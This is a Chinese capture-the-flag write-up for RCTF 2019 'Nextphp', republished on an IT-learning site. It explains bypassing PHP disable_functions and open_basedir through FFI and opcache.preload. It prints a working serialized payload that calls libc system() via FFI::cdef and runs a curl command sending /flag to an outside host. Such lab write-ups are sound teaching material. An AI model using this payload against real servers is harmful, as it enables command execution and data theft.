文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

[RCTF 2019]Nextphp题解

2023-09-13 13:42

关注

[RCTF 2019]Nextphp

题目代码很简单,看着很像白给的(最后惨遭打脸),直接执行system函数发现被ban了,遂查看phpinfo。

if (isset($_GET['a'])) {    eval($_GET['a']);} else {    show_source(__FILE__);}

disable_functions内容如下
在这里插入图片描述

执行命令的函数被ban了很多,考虑读文件,发现目录被限制。
Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/html) in /var/www/html/index.php(3) : eval()'d code on line 1
尝试读取当前目录
var_dump(scandir(“/var/www/html”));
可以得到preload.php,尝试获取该文件的源码。

final class A implements Serializable {    protected $data = [        'ret' => null,        'func' => 'print_r',        'arg' => '1'    ];    private function run () {        $this->data['ret'] = $this->data['func']($this->data['arg']);    }    public function __serialize(): array {        return $this->data;    }    public function __unserialize(array $data) {        array_merge($this->data, $data);        $this->run();    }    public function serialize (): string {        return serialize($this->data);    }    public function unserialize($payload) {        $this->data = unserialize($payload);        $this->run();    }    public function __get ($key) {        return $this->data[$key];    }    public function __set ($key, $value) {        throw new \Exception('No implemented');    }    public function __construct () {        throw new \Exception('No implemented');    }}

得益于开启了preload预加载机制,preload.php中的内容都是全局的,因此index.php不需要include也可以使用。(当然你include也是可以的)
命令执行函数限制+目录限制,可以用FFI进行绕过。对于该机制,后续再进行详细的介绍。
使用的payload如下:

unserialize(base64_decode(%27QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319%27))->__serialize()[%27ret%27]->system(%27curl%20-d%20@/flag%20http://5f23b31a-ca67-481e-92b2-6db76aacaf98.node4.buuoj.cn:81%27);

FFI机制介绍

FFI是PHP7.4开始有的一个新特性,FFI提供了高级语言直接的互相调用,而对于PHP来说,FFI让我们可以方便的调用C语言写的各种库。
在本题中为了绕过PHP本身的disable_function,调用了c语言中的system函数。
调用外部高级语言的库需要提供libc文件,一般是so格式。只有被预加载的文件才能使用FFI拓展,因此直接尝试在普通文件中调用其他语言的函数是不可行的,比如本题目中的index。
对于是否支持FFI,可以查看phpinfo,看有没有FFI support = enabled。
当然,如果FFI直接=true而不是preload,web端,比如index,也可以执行FFI。
使用方法:
我们使用FFI::cdef()函数声明我们要调用的这个库中的函数以及使用到的数据类型。
用法举例:

// create FFI object, loading libc and exporting function printf()$ffi = FFI::cdef(    "int printf(const char *format, ...);", // this is regular C declaration    "libc.so.6");// call C printf()$ffi->printf("Hello %s!\n", "world");

preload机制介绍

opcache.preload是PHP7.4中新加入的功能。如果设置了opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的preload文件加载进内存中,使这些preload文件中的内容对之后的请求均可用。更多细节可以阅读:https://wiki.php.net/rfc/preload。只有被预加载的文件才能使用FFI拓展,但是FFI一般不开启,因为FFI拓展是一个非常危险的拓展。

来源地址:https://blog.csdn.net/blue_lotus_first/article/details/126979523

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯